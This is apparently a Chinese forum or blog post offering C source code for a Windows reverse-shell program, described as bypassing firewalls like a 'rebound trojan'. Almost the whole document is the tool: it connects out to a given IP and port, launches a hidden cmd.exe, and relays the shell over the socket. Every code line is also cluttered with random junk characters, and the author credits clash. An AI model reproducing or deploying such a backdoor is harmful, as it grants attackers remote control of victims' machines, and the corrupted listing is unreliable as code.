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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :nS;W  
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/* ============================== #nO|A\N  
Rebound port in Windows NT j.ldaLdG  
By wind,2006/7 kR@Yl Yo  
===============================*/ 7Irau_  
#include o/ mF #  
#include :BukUket1e  
he-Ji  
#pragma comment(lib,"wsock32.lib") + "}=d3E6  
q4$+H{xB  
void OutputShell(); F3lw@b3])  
SOCKET sClient; xc:!cA{V  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -;XKcS7Ue  
Hiv!BV|  
void main(int argc,char **argv) wpt='(  
{ %?hsoj&k  
WSADATA stWsaData; m8JR@!t7  
int nRet; T y@=yA17  
SOCKADDR_IN stSaiClient,stSaiServer; ,j ',x\  
).HDru-2  
if(argc != 3) *tX{MSYW  
{ 9Sq%s&  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5P h X"7  
return; <U9/InN0[  
} EQIo5  
{"H2 :-t<  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1?Aga,~k:a  
ph|ZG6:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ei3zBS?J)  
ia{c  
stSaiClient.sin_family = AF_INET; vN OH&ja-s  
stSaiClient.sin_port = htons(0); b*mKei  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >x@P|\  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CG&`16KN7  
{ Koln9'tB  
printf("Bind Socket Failed!\n"); tPyyZ#,  
return; desThnT w  
} 3PUAH  
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stSaiServer.sin_family = AF_INET; 9>#:/g/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rf9_eP  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pA#}-S%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z ggB$5  
{ YEx)"t8E  
printf("Connect Error!"); "$5\,  
return;  `}no9$l~  
} 1fL<&G  
OutputShell(); tAFti+Qb  
} &~f3psA  
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void OutputShell() a)! g7u  
{ [r OaM$3|  
char szBuff[1024]; zN_:nY>  
SECURITY_ATTRIBUTES stSecurityAttributes; - ?!:{UXl  
OSVERSIONINFO stOsversionInfo; $O:w(U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 68'>Zbelb  
STARTUPINFO stStartupInfo; QI[}(O7#6  
char *szShell; .2\0~x""  
PROCESS_INFORMATION stProcessInformation; cM&'[CI  
unsigned long lBytesRead; HT_TP q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GfyX'(ge  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &yz&LNn'  
stSecurityAttributes.lpSecurityDescriptor = 0; ;;gK@?hJ  
stSecurityAttributes.bInheritHandle = TRUE; gCVryB@z2  
VzRx%j/i  
j%*7feSNC  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =OV2uq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M_D6i%b^  
lZt(&^T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3|@t%K  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;<G<1+  
stStartupInfo.wShowWindow = SW_HIDE; ;+I4&VieK  
stStartupInfo.hStdInput = hReadPipe; TQ1WVq }*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Lg`Jp&Kg  
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GetVersionEx(&stOsversionInfo); )Z@-DA*Q-  
g "!\\:M  
switch(stOsversionInfo.dwPlatformId) -lRhz!E]  
{ L$Z(+6m5  
case 1: qMS}t3X  
szShell = "command.com"; _b4fS'[  
break; ; a/cty0Ch  
default: jlKGXD)Q[  
szShell = "cmd.exe"; U06o ;s(  
break; EH+~].PJd  
} .1*DR]^`  
#DP7SO  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2Q$\KRE  
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send(sClient,szMsg,77,0); cc >  
while(1) 0%)5.=6  
{ VZA3IbK}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BSp$F WvT?  
if(lBytesRead) +3bfD  
{ ? Ekq6uz\)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H^CilwD158  
send(sClient,szBuff,lBytesRead,0); {B yn{?w  
} '%3{jc-}  
else LnMwx#^*  
{ ,\h YEup  
lBytesRead=recv(sClient,szBuff,1024,0); _Nu` )m  
if(lBytesRead<=0) break; I Ru$oF}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G79C {|c\  
} liNON  
} Q.(51]'  
u5gZxO1J5  
return; 2A$0CUMb  
}
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